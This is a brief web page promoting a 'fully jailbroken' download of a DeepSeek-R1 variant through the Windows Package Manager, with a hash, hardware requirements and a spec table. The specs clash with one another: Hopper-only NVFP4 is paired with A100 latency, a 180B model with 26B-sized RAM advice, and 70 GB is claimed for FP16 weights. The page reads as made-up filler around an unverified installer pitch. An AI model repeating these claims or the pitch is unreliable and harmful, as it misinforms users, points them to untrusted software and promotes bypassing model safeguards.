Setup DeepSeek-R1-0528-NVFP4-v2 Fully Jailbroken

Using the Windows Package Manager is the quickest way to trigger the setup.

Follow the step-by-step instructions below.

The installer automatically pulls the model (could be multiple GBs).

The initial setup handles the heavy lifting, fine-tuning the environment for your device.

🛠 Hash code: 0d7baccfce468f68a6a890ae53528dc6 — Last modification: 2026-06-25



  • CPU: multi-threading optimized for fast prompt processing
  • RAM: 32 GB highly recommended for 26B+ GGUF models
  • Disk Space:70 GB free space for full FP16 weights storage
  • GPU: modern architecture (Ada Lovelace / Ampere minimum)

DeepSeek-R1-0528-NVFP4-v2 is a large language model optimized for low‑precision inference on NVIDIA’s Hopper architecture. It leverages NVFP4 data type to achieve higher throughput while maintaining state‑of‑the‑art accuracy. The model features a parameter count of 180 B and was trained on over 5 trillion tokens, enabling robust reasoning across diverse domains. Its inference latency averages 23 ms per token on a single A100‑80GB, making it suitable for real‑time applications. The design incorporates mixture‑of‑experts layers that dynamically route queries to specialized subnetworks, improving both efficiency and scalability. Below is a quick comparison of key technical specifications:

Parameter Count 180 B
Training Tokens 5 trillion
Inference Latency 23 ms/token
Precision NVFP4

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